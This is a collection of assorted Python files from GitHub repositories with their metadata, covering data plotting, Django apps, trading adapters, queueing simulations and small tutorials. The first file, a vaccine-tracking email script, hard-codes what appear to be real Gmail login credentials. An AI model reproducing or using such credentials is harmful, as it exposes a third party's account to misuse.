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1ec786fa72f1f18aede050113f7915bf94404eb3 | c0b400d87864eec7b95abf06b0dab6e1b8c4b17a | /Py01/VaccineTracking.py | 6721f722ec43d90ac57782019441ff4ec02c8742 | [] | no_license | thaott1901/Python | 37aa3c33725d05be30b92c9d86769633d4dc335b | b6fff39330ccb8bbd4dbf55dcc53836c24c116dc | refs/heads/master | 2023-07-18T07:36:38.382102 | 2021-08-27T02:50:00 | 2021-08-27T02:50:00 | 338,685,708 | 0 | 0 | null | 2021-02-13T23:18:47 | 2021-02-13T22:48:48 | Python | UTF-8 | Python | false | false | 2,225 | py | VaccineTracking.py | # Importing libraries
import time
import hashlib
from urllib.request import urlopen, Request
import smtplib
def send_email():
# creates SMTP session
s = smtplib.SMTP('smtp.gmail.com', 587)
# start TLS for security
s.starttls()
# Authentication
s.login("eprojectx1", "L1bertyx1")
sender = "e... |
c2185bfda1cb79fe1023140eafa4f902d20ac0ed | c4e6293e4c87fb07bf1b03bb486d5f6c284fccf6 | /scripts/view.py | 5d19d55b411c551bfa930a72a9260be3ee45ebb6 | [] | no_license | svpranay/btp | 722fb9a7832ab908db3a5fcfde30feb14e6fa4c5 | ca5a5b7e096dc29adc98533958d61eb1a89a200c | refs/heads/master | 2016-09-11T07:58:48.833536 | 2012-01-03T04:41:08 | 2012-01-03T04:41:08 | 3,085,929 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 1,791 | py | view.py | #!/usr/bin/python
# -*- coding: utf-8 -*-
# import needed libraries:
import sys,random,string,copy
import numpy
import pylab
DEBUG = int(sys.argv[1])
filename = "income7.csv"
warning = " something is fishy.. :-< :-/ "
title = "US Income median Statistics of state "
template = ""
from compute import *
from generate... |
3178cab6d7900e68e2325e94a4a9e20d9d50ca1d | 8a938e1f7e204d4700c7baa4fd494e2d2536ffa9 | /Python Code/pair_requireditem_ratio.py | e6b9dd7ab014835356b866feccba983e78eb91cb | [] | no_license | karenke/PopCore | 2a8185b930672fce94b67832f4cc25fd32808ba9 | 19a19e7a2dbafe8aa810f911a73501b56d5b07e3 | refs/heads/master | 2016-09-06T15:06:06.267970 | 2013-05-21T04:23:51 | 2013-05-21T04:23:51 | null | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 3,371 | py | pair_requireditem_ratio.py | import csv as csv
import numpy as np
import datetime as DT
from matplotlib import pyplot as plt
from matplotlib.dates import date2num, num2date, num2epoch
from collections import Counter
from matplotlib.colors import ListedColormap
from sklearn import neighbors, datasets
from sklearn.neighbors import KNeighborsClassif... |
1a68d879cdf11bf6db833a9d57cd6e5b7934a3f8 | 6a3a797168d030381a4760128a05b3b546b054f0 | /dictionary.py | ff8cf78386ea9c1297faefc1498a34861d18ee88 | [] | no_license | gromang/lesson1 | f8d1600f36551aeadd99fe1572e72e8985e09a4d | 0959ec5c9e8aee0cef560386b5edb52d49d5fe89 | refs/heads/master | 2020-09-15T13:52:37.392467 | 2020-08-13T14:12:57 | 2020-08-13T14:12:57 | 223,466,695 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 283 | py | dictionary.py | weather = {"city": "Москва", "temperature": "20"}
print(weather['city'])
weather['temperature'] = str(int(weather['temperature'])-5)
print(weather)
print(weather.get('country'))
print(weather.get('country','Россия'))
weather['date']='27.05.2019'
print(len(weather))
|
5289686dd1e06ddc8151ad0445aa24c35d1e75db | 60be3894ad491bde502b8f6909a026ee115d952e | /aiosmb/authentication/kerberos/sspi.py | 95c5e2a0e761c4791babaf423ac036ba9ebbbfa9 | [] | no_license | topotam/aiosmb | 7c97c6a9806c84a9fae28fa372cc6903fa6ec0c5 | e2ece67bbf380f576b154b09ea5fd63d9b4ecf4c | refs/heads/master | 2023-06-25T17:41:03.605226 | 2021-07-27T18:31:12 | 2021-07-27T18:31:12 | null | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 3,124 | py | sspi.py | #
# This is just a simple interface to the winsspi library to support Kerberos
# Will only work on windows, ovbiously
#
#
#
from aiosmb.authentication.spnego.asn1_structs import KRB5Token
from winsspi.sspi import KerberosSMBSSPI
from winsspi.common.function_defs import ISC_REQ, GetSequenceNumberFromEncryptdataKerbero... |
61a68a4f1bf43e3fcee31534eab0ffaeaf4fafce | ffb820d36c8b1a9be6cd55b45cfb29b8a09842fd | /demo/agent/os/pidtest.py | 896d341e81f41f84e3bbeca5c35e4d6f8088c1b1 | [] | no_license | Dhtu/Wisteria | 8e8bb550946a6d481a9d1464df20dde1978efe56 | 3823ae845b0d1595cd2d0b3e069b23b9c327474d | refs/heads/master | 2023-05-07T10:39:56.544696 | 2021-05-22T16:33:08 | 2021-05-22T16:33:08 | 358,166,020 | 3 | 0 | null | null | null | null | UTF-8 | Python | false | false | 173 | py | pidtest.py | #!/usr/bin/python
from bcc import BPF
print("hello")
BPF(text='TRACEPOINT_PROBE(syscalls, sys_enter_fork) { bpf_trace_printk("Hello, World!\\n"); return 0; }').trace_print() |
1e2003e60e3cb8b13804cba3fd560178cd2752ce | 5e55b5e948042cf20843f180f205c91059b62202 | /kashgari/tasks/seq2seq/decoder/__init__.py | 0324db89544046042810e47dc8809cbed888c358 | [
"Apache-2.0"
] | permissive | brandy2015/Kashgari | 5c3bbe37e9dbf84f21fc5a6634bd2535c631b1c8 | ffe730d33f894e99a6fd7aa17ca67d161bf70359 | refs/heads/v2-main | 2023-06-13T21:48:02.269531 | 2021-07-09T03:57:16 | 2021-07-09T03:57:16 | 435,483,327 | 1 | 0 | Apache-2.0 | 2021-12-06T12:12:26 | 2021-12-06T12:12:25 | null | UTF-8 | Python | false | false | 287 | py | __init__.py | # encoding: utf-8
# author: BrikerMan
# contact: eliyar917@gmail.com
# blog: https://eliyar.biz
# file: __init__.py
# time: 2:33 下午
from .att_gru_decoder import AttGRUDecoder # type: ignore
from .gru_decoder import GRUDecoder # type: ignore
if __name__ == "__main__":
pass
|
a4d3e9bdfc71f15d85bc0eafd11848e946f3c50e | de5d7bab4e35b3f2a6426ce09e0d9726443c3737 | /simple_ecommerce/profile/urls.py | 5e001af21bb4edc13ae28d600c6854bbb26a36a5 | [] | no_license | lucyemmel/speedwagon-foundation-shop | 595135643e7ac325d356c46c68b6ab02221b4882 | e62bc4593dfafb74e260e46339f55c0d4d0345f8 | refs/heads/main | 2022-12-30T20:22:16.477284 | 2020-10-21T15:08:57 | 2020-10-21T15:08:57 | null | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 294 | py | urls.py | from django.urls import path
from . import views
app_name = 'profile'
urlpatterns = [
path('profile/<str:email>/private/', views.private, name='private'),
path('profile/<str:email>/public-store/', views.public, name='public'),
path('high-air/', views.high_air, name='high_air')
] |
0e39b790d24a4e4e994d785f5ba2457d18e9aa8f | 8f1b5e8e384d189a7876702f7604cf7b37ec8ce7 | /adapters/HuobiNewSpi_spot_web.py | cf8f886953f4218a73f6054ed49c6ff3fb3d708f | [] | no_license | tonylibing/High-Frequence-Trading---CoinTrader | f294a1bde6ef0588c7f55703775d1ec16482ec60 | ecc6511b544c8689565248080b9478287bd291e0 | refs/heads/master | 2022-03-08T01:40:56.348224 | 2019-10-27T07:36:14 | 2019-10-27T07:36:14 | null | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 50,936 | py | HuobiNewSpi_spot_web.py | # -*- coding: utf-8 -*-
import sys
from threading import Thread
sys.path.append("../")
import trader.coinTradeStruct
import trader.traderInterface
import trader.coinUtilities
import trader.positionManager
import trader.defines
import adapters.rest.OkcoinSpotAPI
import adapters.HuobiStruct
import adapters.huobiRest.Huob... |
b449784b204a32e90e4a90911d6988f982f6d939 | 5d5f0a4dcbb7a7d93672f4569e0b3d5187c379c0 | /generateHands.py | 2c2fd769545496269c79552ec4abea7dc42237ed | [] | no_license | lshays/pokerGame | 2ecd0f91a727ceff6afc3516188e0dce8fd4fb71 | a82314a0c25acac26ef3c2481e65c2f06d33bde3 | refs/heads/master | 2021-10-08T22:39:15.880693 | 2018-12-18T15:45:41 | 2018-12-18T15:45:41 | 114,688,910 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 417 | py | generateHands.py | from random import shuffle, random
cards = [2, 3, 4, 5, 6, 7, 8, 9, 'T', 'J', 'Q', 'K', 'A']
suits = ['H', 'D', 'S', 'C']
deck = []
for card in cards:
for suit in suits:
deck.append(str(card) + suit)
def getDeck():
return shuffle(deck, random)
def getHands(holdem = True):
shuffle(deck, random)
... |
7c37670eedb1d798c81a3c95d81ba01a46ce3a68 | 1d9bc0bd79442d521f92e1328ff0ffa35adb13b7 | /tests/sim_clda/sim_clda_obs.py | f3eabade1205564a43382d14bd68b97a17201c7f | [
"Apache-2.0"
] | permissive | carmenalab/brain-python-interface | 07cf7e1ee1a75070cfbcabc7d2df9111e539e36c | a0e296aa663b49e767c9ebb274defb54b301eb12 | refs/heads/develop | 2023-02-21T14:43:26.659430 | 2022-12-18T21:54:56 | 2022-12-18T21:54:56 | 36,104,349 | 9 | 5 | NOASSERTION | 2023-02-08T00:01:39 | 2015-05-23T02:44:47 | Python | UTF-8 | Python | false | false | 2,592 | py | sim_clda_obs.py | from riglib import experiment
from features.hdf_features import SaveHDF
from riglib.stereo_opengl.window import FakeWindow
import numpy as np
import matplotlib.pyplot as plt
from tasks import factor_analysis_tasks, bmimultitasks, manualcontrolmultitasks
from features.simulation_features import SimKalmanEnc, SimKFDecode... |
8578e388516638c2211df86f8b5d19b1ccac2f1c | d64b26067cac88bf16cde761297adc9cdab2c41b | /src/snc/environments/examples_distribution_with_rebalancing.py | 0c0e656d3f63d8e7f961c496e040069ff07b3e38 | [
"Apache-2.0"
] | permissive | stochasticnetworkcontrol/snc | 7394430c3783cac3df3376cecfd8b12f443fc326 | b067eebaa5b57a96efdaed5796aca9f157d32214 | refs/heads/master | 2023-04-24T20:09:50.109342 | 2021-05-12T10:35:51 | 2021-05-12T10:35:51 | 346,752,748 | 9 | 2 | Apache-2.0 | 2021-05-12T10:35:52 | 2021-03-11T15:44:05 | Jupyter Notebook | UTF-8 | Python | false | false | 48,264 | py | examples_distribution_with_rebalancing.py | # Set of examples of systems that can be modelled as controlled random walks, from CTCN book.
from typing import Optional
import numpy as np
from snc.environments.job_generators. \
scaled_bernoulli_services_poisson_arrivals_generator \
import ScaledBernoulliServicesPoissonArrivalsGenerator
import snc.environme... |
1f90b4af4c296d10d1354833c026d5e07cb5b837 | b5b0b6009249fc0499a98788c6572fe4e85bbe94 | /code/python-learn/元组.py | e44fe8bc12d3a9fa1bc2704f56d54d721e33c08c | [] | no_license | AZHELLRGX/Python_Notes | 799e1c19574093febdf3aef4e3e2db6f32e7f7ce | 392d81b4a973e21132ff5d5fc88cf5008b06ce9c | refs/heads/main | 2023-07-19T16:55:44.870499 | 2021-09-19T07:58:54 | 2021-09-19T07:58:54 | 398,504,282 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 842 | py | 元组.py | # 元组 tuple
# 元组是一个不可变的序列
# 元组的操作方式和列表基本是一致的
# 使用()创建元组
my_tuple = (1, 2, 3, 4, 5)
print(my_tuple)
# 当元组不是空元组的时候，()可以省略，但是至少有一个,
my_tuple = 1, # 这种写法也是没有问题的
my_tuple = 1, 2, 3, 4, 5
print(my_tuple)
# 元组的解包：将元组中的每一个元素都赋值给一个变量
# 解包的时候，前面的变量个数与元素中的元素个数必须一致
a, b, c, d, e = my_tuple
print("a =", a)
print("b =", b)
print(... |
7799094cac12d651807abd9e7b06a441ff558cd3 | 97f7b411b7d0000dbd72e745b07faf71a80ef447 | /LinkedList/Node.py | e4eadfc2e224c37976e81498bfc4ae306b438b65 | [] | no_license | wangs0622/learning_Algorithm | a4c4eabf7ddbf68cd62cce683ffe762a2bc22781 | 75d69dfd1a2b531defba55f06303c7974df0c1c1 | refs/heads/master | 2021-09-10T12:51:48.537888 | 2018-03-26T14:40:29 | 2018-03-26T14:40:29 | 112,290,975 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 222 | py | Node.py | # _*_ encoding: utf-8 _*_
class Node():
def __init__(self, data = None, next = None):
self.data = data
self.next = next
def __repr__(self):
return 'data: ' + str(self.data)
|
ce42eb1bd9f246e90b445ffeda4dfb2e4f099535 | e533e77180a4fd0d53792353a5eada22cbdfc8e1 | /jsonapy/document.py | dbe48cf6a22e4d329f8bcae0b69cae489f4bcae7 | [
"MIT"
] | permissive | Arkelis/jsonapy | 3d377aaeb6b25e3b26d2ecd59f87e8c21c203501 | c62a78141f6a25542218b3cef2d984e0869eb5e2 | refs/heads/master | 2023-08-12T17:52:45.018184 | 2021-09-23T08:38:33 | 2021-09-23T08:38:33 | 333,681,375 | 4 | 0 | null | null | null | null | UTF-8 | Python | false | false | 2,106 | py | document.py | # Copyright (c) 2021 Guillaume Fayard
# This library is licensed under the MIT license
# For a complete copy of the license, see the LICENSE file.
""" # JSON:API document creation
> **WIP:** This module is under construction
"""
import collections.abc
from typing import Dict
from typing import Iterable
from typing im... |
14cb55fd27b754d0b8a93c678594454b0790b1cf | 6bda00447fc869d2383a37310e5cf6fc526e98b2 | /02-ControlStructures/38.py | 56373ede21cd81926c8808432e70332bd7853e51 | [] | no_license | bastek8sd/pp1 | 2373e69963ec7c983f29cd6837c2522a00aad35c | cd10264518e435b24dc62e0c6d71d25812049811 | refs/heads/master | 2020-08-20T23:29:22.500799 | 2020-01-11T19:47:58 | 2020-01-11T19:47:58 | 216,077,655 | 1 | 0 | null | 2019-10-18T17:43:27 | 2019-10-18T17:43:27 | null | UTF-8 | Python | false | false | 128 | py | 38.py | # klawiatura numpad
i=6
while i>=0:
j=1
while j<4:
print(f' {i+j}',end='')
j += 1
print()
i -= 3 |
98bdbdc515111e7b86162cb49b46a08828bff9fa | e58df466a0b516599d67aba187e67933b074db4b | /duplicatefinder.py | 0b4e56f3515b67273d5469ebb70282d4621550da | [] | no_license | streptomyces/pythrill | b032ac7877bd57d53d65ff77b6305415c764dfe2 | da07daad635fb46109f03d54b4e36fa2f78ce174 | refs/heads/master | 2023-06-25T08:26:30.714036 | 2019-04-26T11:03:00 | 2019-04-26T11:03:00 | 175,468,998 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 948 | py | duplicatefinder.py | import os
import hashlib
from collections import defaultdict
def hashfile(filer, chunk_size = 5000):
"""
this digest the file and returns a md5 hash
# print hashfile('test.txt')
"""
hasher = hashlib.md5()
with open(filer, 'rb') as f:
buffer = f.read(chunk_size)
while buffer:
... |
3db4c4c62f09510790193aeb18c616cb12c22858 | 1ec5fda6500501489d9ab4c4bbcdd5bf1216c324 | /smarthome_kvant/remote_control/models.py | 85455fb75c943fa57e0125e6f360f25aaa3a41f4 | [
"MIT"
] | permissive | S1r0pchik/SmartHome_Kvant | 842206097b4ba6a6e055d3577705012931d9c1df | e0f32214b236340d34a37bcfde3438de0249a90e | refs/heads/main | 2023-08-22T15:36:10.861015 | 2021-10-03T10:18:33 | 2021-10-03T10:18:33 | 306,911,900 | 6 | 0 | MIT | 2020-12-19T16:13:50 | 2020-10-24T15:22:24 | Python | UTF-8 | Python | false | false | 730 | py | models.py | from django.db import models
class Termometr(models.Model):
time = models.TextField()
temp = models.TextField()
def __str__(self):
return self.time + " " + self.temp
class Led(models.Model):
pos = models.TextField()
number = models.TextField()
name = models.TextField()
def __str... |
0fbf7d2a3dcb026d62ce8e9552bb882b6469e6bb | 8b27d7a7d199aa7661fd56295d0ec24088493b3d | /prepare_database.py | 07bcb32262aca295127a1ca8d4a5376835772518 | [] | no_license | Gorgios/HealthInsurance | 53bac3041c316eacb16d0b619f4294e31479220e | 27a7f97f81281a7152fe71d345a7af16f218e566 | refs/heads/master | 2023-02-13T00:28:04.504934 | 2021-01-17T18:05:04 | 2021-01-17T18:05:04 | 329,075,711 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 435 | py | prepare_database.py | import pandas as pd
from sklearn.preprocessing import LabelEncoder
def prepare_db(ipt, out):
df = pd.read_csv(ipt)
labelEncoder = LabelEncoder()
df['Gender'] = labelEncoder.fit_transform(df['Gender'])
df['Vehicle_Age'] = labelEncoder.fit_transform(df['Vehicle_Age'])
df['Vehicle_Damage'] = labelEnc... |
618f8ba09a73e284b699f2a3a42294e5444d0d2e | 408e3770809386f7e924fdaf0a4b5cc2efd39343 | /rebound/starman.py | 59e0d7e25fbe79612ce005708185a1883ba1ffe0 | [] | no_license | LucasHell/Bachelor-project | af1158a495462f42394ea3c5d425c1d29b1839ac | eca0df8e2a3d77859c190387db6cd3f433c956a2 | refs/heads/master | 2018-10-16T19:22:52.935969 | 2018-08-23T21:02:52 | 2018-08-23T21:02:52 | 118,453,075 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 1,571 | py | starman.py | import rebound
import numpy as np
import matplotlib.pyplot as plt
sim = rebound.Simulation()
#~ sim.add(["Sun","Mercury","Venus","Earth","Mars","Jupiter","Saturn","Uranus","Neptune"],date="2018-02-10 00:00")
#~ sim.save("ss.bin")
sim = rebound.Simulation.from_file("ss.bin")
sim.add(primary=sim.particles[0],
M... |
4d6bbb951d146ca84259d97ee98a41d234607845 | c7e8338453a2c0e25f7b776b4877d22a6870a6e4 | /scripts/lex_conv.py | cc1080d24d8e0fa77e75b4907385a5590c8b924d | [] | no_license | rshah18/lex_run_pkg | 7223c4f00c255b3424a86d7b469e137a263b10a9 | d4404d2f3017f24d4c3c3eb8ffdc62537de45dd6 | refs/heads/master | 2020-07-09T01:54:09.244162 | 2019-08-22T17:39:29 | 2019-08-22T17:39:29 | 203,842,360 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 1,373 | py | lex_conv.py | #!/usr/bin/env python
import rospy
from geometry_msgs.msg import Twist
from std_msgs.msg import String
class Rotator():
def __init__(self):
self._cmd_pub = rospy.Publisher('/cmd_vel', Twist, queue_size=1)
def handle_text_input(self, data):
move_data = data.data
self.twist =... |
d3c46909187bc719d003d3cdd13d14c9ad537311 | 61b8693ad9ee9cf563ec83c9d6d35ea0f5f14221 | /python/thomas_theis_einstieg_in_python/3.6.2_u_parameter.py | d7b8e997e88cd8032624bf2a50c9f0190a1dde34 | [] | no_license | erolneuhauss/studies | 9fd7bf56cf686ee0f5d1d23436cd1add0e3bc4e2 | aa6aafbb32c6a9de3a0a0073ad1493fcbee6552c | refs/heads/master | 2023-06-11T05:44:44.450137 | 2022-10-31T15:05:26 | 2022-11-03T11:01:21 | 82,448,245 | 1 | 0 | null | 2023-02-08T01:14:47 | 2017-02-19T09:28:35 | Jupyter Notebook | UTF-8 | Python | false | false | 573 | py | 3.6.2_u_parameter.py | #!/usr/bin/python
# Funktion steuer_calc zur Berechnung der Steuer
def steuer_calc(brutto):
normal_steuer = 18 / 100.0
luxus_steuer = 22 / 100.0
if brutto > 2500:
steuerbetrag = brutto * luxus_steuer
print "Brutto:", brutto, "Luxussteuer", luxus_steuer, \
"Steuerbetrag:", steuerbetra... |
8d020cd660c3a82a1088da471fd1c5769c2d71a4 | 91fe3e3e333632cd097c48bb07fcd39269245415 | /main.py | 6cad7b9d15f19231e9830f52af577316ba3a8626 | [] | no_license | erfanchy/Explore-data-provided-by-Motivate-a-bike-share-system-provider | 4b9afc49ee7803a746b65145d220af18a0400d08 | 524838ccfb3f6545e9244899f7e224f02211665a | refs/heads/master | 2022-11-04T18:39:58.035894 | 2020-06-19T08:26:40 | 2020-06-19T08:26:40 | 273,140,039 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 14,063 | py | main.py | import time
import pandas as pd
import numpy as np
CITY_DATA = { 'chicago': 'chicago.csv',
'new york city': 'new_york_city.csv',
'washington': 'washington.csv' }
def get_filters():
"""
Asks user to specify a city, month, and day to analyze.
Returns:
(str) city - name o... |
c174e92d14fe10fdb6ce4bf5ef57cca2a5b98965 | 8d935c9c20dcd425d8a8f4e7381f10e3ee692a44 | /026_SIGN.py | 781b12cdf3bd340ae79bd228c439d5e394041adf | [] | no_license | paulotokimatu/python_rosalind | ff49da2e71381337b9c16769abdee220af2c4eb1 | 573194cb2500790382a176821610f61c594912be | refs/heads/master | 2021-01-21T13:34:01.228471 | 2016-05-14T18:17:08 | 2016-05-14T18:17:08 | 53,711,069 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 809 | py | 026_SIGN.py | ## To do: Improve algorithm
import itertools
rosalind = open("rosalind_sign.txt", "r")
number = int(rosalind.read().strip())
output_file = open("output3.txt", "w")
list_numbers = []
for n in range(1, number+1):
list_numbers.append(n)
list_numbers.append(-n)
all_perm = list(itertools.permuta... |
e7baa97e59070ab08362db91e6d030da23a6a0fc | 28d75b12076bc0ced03860ba021926fe28d814ad | /app/errors.py | 5ecd7e87e9094a4c3a2cb40ba7d1789cc5c02793 | [] | no_license | jhzII/ApiService | 3e3fd2805c9ec7857dfc7620a9c12e33a8f7dd70 | 34851377eb21b705381a81a32a0fc54839bdcb23 | refs/heads/master | 2022-12-10T06:34:36.391452 | 2019-09-24T10:18:03 | 2019-09-24T10:18:03 | 209,306,925 | 0 | 0 | null | 2022-12-08T05:21:58 | 2019-09-18T12:48:23 | Python | UTF-8 | Python | false | false | 397 | py | errors.py | from app import app
from flask import make_response, jsonify
# from app.api.errors import error_response as api_error_response
import app.api.errors as apiErr
@app.errorhandler(Exception)
def api_error(error):
if isinstance(error, apiErr.ApiError):
return error.make_response()
return make_response(js... |
2ae3ed5ec5429c78aee60e66370b4475aef98d88 | 83717e80d29adbadd2dd56c0bb8f378357ea7b24 | /data/dumpJEC_sqlite_cfg.py | eb51a55af11f2a08919d9e30103f84fa2ad31301 | [] | no_license | drankincms/Ljmet-Com | 8af61cb83d0020f92a1823ca3d7ca4550a87f414 | f35c83ddc663d2ec8605c823eb028a50679fe6a9 | refs/heads/CMSSW_8_0_X | 2021-01-12T20:47:51.769986 | 2017-03-15T19:20:50 | 2017-03-15T19:20:50 | 29,983,738 | 1 | 0 | null | 2017-01-27T16:46:46 | 2015-01-28T19:16:52 | C++ | UTF-8 | Python | false | false | 2,227 | py | dumpJEC_sqlite_cfg.py | import FWCore.ParameterSet.Config as cms
process = cms.Process("jectxt")
process.load('Configuration.StandardSequences.Services_cff')
process.load('Configuration.StandardSequences.FrontierConditions_GlobalTag_condDBv2_cff')
# define your favorite global tag
process.GlobalTag.globaltag = '74X_dataRun2_Prompt_v1'
process... |
6ee983b9cbff316bc8b8c5256051ef3cb0c4dca2 | 097780f1a4112a4c9c42be958baa8660ac28e87a | /panchayat/migrations/0017_scheme.py | ccca50976820eba397526908c960d662826dad72 | [] | no_license | KarthikaSatheesh/main_project | e302bdfccb167d891a5bb1572de7e6375c014b61 | d67acfcfd45118ce7cf1ff788ea69be108c81851 | refs/heads/main | 2023-06-03T04:18:51.946669 | 2021-06-22T07:28:22 | 2021-06-22T07:28:22 | 379,166,854 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 577 | py | 0017_scheme.py | # Generated by Django 3.2 on 2021-04-11 16:22
from django.db import migrations, models
class Migration(migrations.Migration):
dependencies = [
('panchayat', '0016_gramasabha'),
]
operations = [
migrations.CreateModel(
name='Scheme',
fields=[
('id'... |
576816b1d390b605cb831a5563061607f6e8ebd2 | 098fb52ff59f367a79e5b5a32360ea06b659a51e | /homework-12345/homework3/layers/sigmoid_layer.py | 66cc7cf29f4bf7e0e4f60bb8c13b46863015fdef | [
"MIT"
] | permissive | easilylazy/pattern-recognition | f2818a09af39ce1f923ca57851d58773c72018b9 | 2b95689bb3f34e4821a0211b19b76164aa6e615f | refs/heads/main | 2023-08-11T03:08:22.902005 | 2021-09-27T02:38:00 | 2021-09-27T02:38:00 | 345,368,292 | 2 | 0 | MIT | 2021-07-15T14:48:07 | 2021-03-07T14:31:29 | Jupyter Notebook | UTF-8 | Python | false | false | 985 | py | sigmoid_layer.py | """ Sigmoid Layer """
import numpy as np
EPS = 1e-11
def sigmoid(y):
return 1/(1+1/(np.exp(y)+EPS))
def sigmoid_deriv(y):
return sigmoid(y)*(1-sigmoid(y))
class SigmoidLayer():
def __init__(self):
"""
Applies the element-wise function: f(x) = 1/(1+exp(-x))
"""
self.trainable = False
def forward(self, Inp... |
2e0876fe3b38b2034da11f5eb80fc35a7ff94d56 | c0ee302cf8141786bed8615043cfb8a551939fa2 | /mysite/settings.py | 3a4f195ca43190783213e1c0f1e5d77634eba612 | [] | no_license | delta12kilo/digi-podium | 4eebd6891570a28ff3abb16038714d34c176784c | f4d5f82be5fb2509f1c1c528aac0e06e4da28985 | refs/heads/main | 2023-06-13T02:28:33.604031 | 2021-07-03T07:37:57 | 2021-07-03T07:37:57 | 353,755,545 | 0 | 1 | null | null | null | null | UTF-8 | Python | false | false | 4,369 | py | settings.py | """
Django settings for mysite project.
Generated by 'django-admin startproject' using Django 3.0.5.
For more information on this file, see
https://docs.djangoproject.com/en/3.0/topics/settings/
For the full list of settings and their values, see
https://docs.djangoproject.com/en/3.0/ref/settings/
"""
import os
# ... |
172016941d0bdbb20a6544122b1573380420c7de | 2fbb7cd67d8bb0d3e2d0f09ce3c7e3b38996eb81 | /print_hosts.py | 482860db9e310808e0a9558c1d023e6c883ee290 | [] | no_license | chitusus/Projects-python- | 38bd04c6a420182ee5f1bf2026fa4b324f6530c5 | cfd8ba19ebebd6319e0f7caab189f13ad596c63c | refs/heads/master | 2020-12-29T16:17:19.259641 | 2020-06-25T08:30:55 | 2020-06-25T08:30:55 | 238,666,846 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 102 | py | print_hosts.py | import requests
import json
from tabulate import *
from my_apic_em_functions import *
api_url = ""
|
687b1ecb7bc924403e0a61c8636ee3e282e6e598 | 4f7e59988279f174b6543f67a2c653c3b13cec72 | /disruption/__init__.py | a5b89ce7815ea457bfbd76f796a90376ebe9205c | [] | no_license | EricElmoznino/adversarial_tms | 4f72255b97807dd5876e4acc4fff4aa3204940fe | 731fe820db9a723814b2446af1c1d8d306aa455b | refs/heads/master | 2020-09-10T19:10:52.631484 | 2020-07-29T20:14:57 | 2020-07-29T20:14:57 | 221,809,751 | 0 | 1 | null | null | null | null | UTF-8 | Python | false | false | 144 | py | __init__.py | from .deepdream import deepdream
from .deepvisualize import deepvisualize
from .roi_loss import roi_loss_func
from .metrics import loss_metrics
|
ed6edfacd3732dabfcd7e55a9d6ab7f8bd8a731b | 5e4bc54a6aeac2c632efaae282235ad3ebd5b378 | /Day7/core/ban.py | 2cacf9505c64118498a5154f9d4c7f70f69842d9 | [] | no_license | LiZhujun0103/S23 | cab64981060288289cd0e56384a8ea4b0a6d8ded | 16653b4563607c17c64d51a5ce0bcbcdb5a3f5fb | refs/heads/master | 2020-03-23T23:31:29.379178 | 2019-03-29T07:13:17 | 2019-03-29T07:13:17 | 142,239,538 | 0 | 0 | null | 2019-03-29T03:24:18 | 2018-07-25T02:57:00 | Python | UTF-8 | Python | false | false | 309 | py | ban.py |
class Ban:
def __init__(self, name):
self.name = name
self.ban_stu = []
self.ban_tec = []
def add_stu(self,sname):
self.ban_stu.append(sname)
return self.ban_stu
def add_tec(self, tname):
self.ban_tec.append(tname)
return self.ban_tec
|
a57210913ed6da1bd6b6fc53b270f5d9c03cdf23 | e476df9a09e5af1f6506e7be0316ca47b2cfe68c | /rede_neural .py | af4104baa016cee4676b653b690fed4bd3128e54 | [] | no_license | jeffersontuc/PredictMyGrades | 38381aa8bc3ef34394aafa1e628c78779437f0e8 | e3bf701727f94991ee75788a2343ddc7524103a9 | refs/heads/master | 2021-01-20T05:01:06.800436 | 2017-08-29T18:18:59 | 2017-08-29T18:18:59 | 101,410,196 | 0 | 1 | null | null | null | null | UTF-8 | Python | false | false | 4,395 | py | rede_neural .py | # encoding:utf-8
# Documentação: http://pybrain.org/docs/index.html
from pybrain.datasets import SupervisedDataSet
from pybrain.tools.shortcuts import buildNetwork
from pybrain.supervised import BackpropTrainer
from datetime import datetime
from pybrain.tools.shortcuts import buildNetwork
import pickle
#['STUDENTID'... |
c09901c16904412746b979586c10c2b863ac594b | dcad59b782f52cebcde854553e523e33f8207680 | /servo.py | 8242e23ca9f9ff41864c031d59d3f9e44be5185c | [] | no_license | AtulPhadke/DroneAutomation | 53bb7304726e09f475849609569c49c947706ce2 | bb1b8692eab04a3676ea56abb6689f7e5e3c0cad | refs/heads/master | 2020-07-21T10:32:26.351513 | 2019-10-21T13:56:18 | 2019-10-21T13:56:18 | 206,834,183 | 1 | 0 | null | null | null | null | UTF-8 | Python | false | false | 408 | py | servo.py | import time
import datetime
import RPi.GPIO as GPIO
GPIO.setmode(GPIO.BOARD)
TopLeft = 37
BottomLeft = 35
TopRight = 33
BottomRight = 31
Servo = 40
GPIO.setup(TopLeft, GPIO.OUT)
GPIO.setup(TopRight, GPIO.OUT)
GPIO.setup(BottomLeft, GPIO.OUT)
GPIO.setup(BottomRight, GPIO.OUT)
GPIO.setup(Servo, GPIO.OUT)
p = GPIO.PWM(S... |
2f5dca5a788e42b3957e1cb2b57f73f32baafb17 | dbe5f4ff925f788a99acce25957cf210bd008506 | /forms/user.py | e42471f686caa90d0eb9fa08eccf57e27b18206f | [] | no_license | KGenie/urlmon | 022e41326828a089943a895ebdb6a4c6cb36d74f | 3e577d9584462d1b4725ca4984d9475ba09f8791 | refs/heads/master | 2021-03-27T19:08:35.308338 | 2012-02-22T14:18:23 | 2012-02-22T14:18:23 | 2,159,676 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 359 | py | user.py | from wtforms.form import Form
from wtforms.fields import TextField, TextAreaField, HiddenField
from wtforms.validators import Length, Email
class UserForm(Form):
id = HiddenField()
email = TextField('Email', [Email()])
first_name = TextField('First name', [Length(min=4, max=25)])
last_name = TextField... |
